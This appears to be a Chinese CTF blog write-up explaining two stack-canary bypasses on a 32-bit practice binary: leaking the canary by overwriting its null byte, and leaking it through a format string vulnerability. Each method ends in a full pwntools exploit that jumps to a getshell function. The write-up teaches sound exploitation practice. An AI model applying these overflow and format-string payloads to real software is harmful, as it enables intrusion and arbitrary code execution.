canary的绕过方法

本文最后更新于 2024年10月13日 晚上

Canary 的绕过方法

一、字符串截断获取canary

原理:

  • Canary设计其低字节为\x00,本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00覆写,就可以读出Canary的值。

二话不说,上题

基础检查发现canary

丢入ida中

发现在循环printf,并且存在字符串漏洞(这个稍后再谈)

同时有getshell函数

可以直接拿shell

接下来就是找canary到栈顶的偏移

有两种方法,这里先介绍第一种

看汇编语言

跟进这段函数的汇编

发现 多了一段异或比较

可以判断canary在var_c里,

所以buf 到canary的偏移为0x70-0xc

payload1的构造为

1
payload1=b'a'*(0x70-0xc)

#注意 必须用sendline 发送 用\n来覆盖’\x00’

发送之后接受字符

1
2
canary=u32(io.recv(4))-0xa
#这里之所以要-0xa 是要去掉\n

最后构造payload2

1
payload2=b'a'*(0x70-0xc)+p32(canary)+b'a'*0xc+p32(getshell)

最终exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.binary = '1122'
#context.log_level = 'debug'
io = process('./1122')

get_shell = ELF("./1122").sym["getshell"]

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = b"A"*100
io.sendline(payload)

io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"a"*100+p32(Canary)+b"a"*12+p32(get_shell)
io.send(payload)

io.recv()

io.interactive()

最后强调一下

1
2
context.binary = '1122'
#context.log_level = 'debug'

这两行必须要有一个,否则无法运行

最后运行得到shell

![点击并拖拽以移动](data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)编辑**二、字符串漏洞泄露canary**

原理

  • 格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,从而进行栈溢出

还是上面那道题

这次来介绍一下另一种寻找偏移的办法

用gdb 调试

先用gdb在printf处下断点

找到第一个printf下的栈帧0xffffcf98

从ida上知道程序主要在vuln 函数里面

用gdb 运行文件并在函数下断点运行

发现有一段异或比较,可以判断canary 的值就在eax里面

不断步入到0x8049256

记住eax的值

发现canary存在地址0xc中

可以计算偏移

继续点n

到read 函数运行(这一步很重要,否则偏移不准确)

再次查看栈帧计算此时canary 到esp的偏移量

因为程序是32位

4个字节一组就是31组

所以canary的偏移为31

这部分可参考

https://www.freebuf.com/articles/system/233515.html

https://blog.csdn.net/glhdbk/article/details/100595050

则payload1可构造

1
2
3
4
5
6
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()

# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)

泄露出canary的值

最后进行再一次栈溢出

1
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell)

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
#context.log_level = 'debug'


conn = process('./1122')

getshell = 0x080491b6
conn.recvuntil('Hello Hacker!\n')

# 第一次溢出
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()

# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')
# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a'*0xc+ p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

点击并拖拽以移动


canary的绕过方法
http://example.com/2024/02/20/canary的绕过方法/
作者
清风
发布于
2024年2月20日
许可协议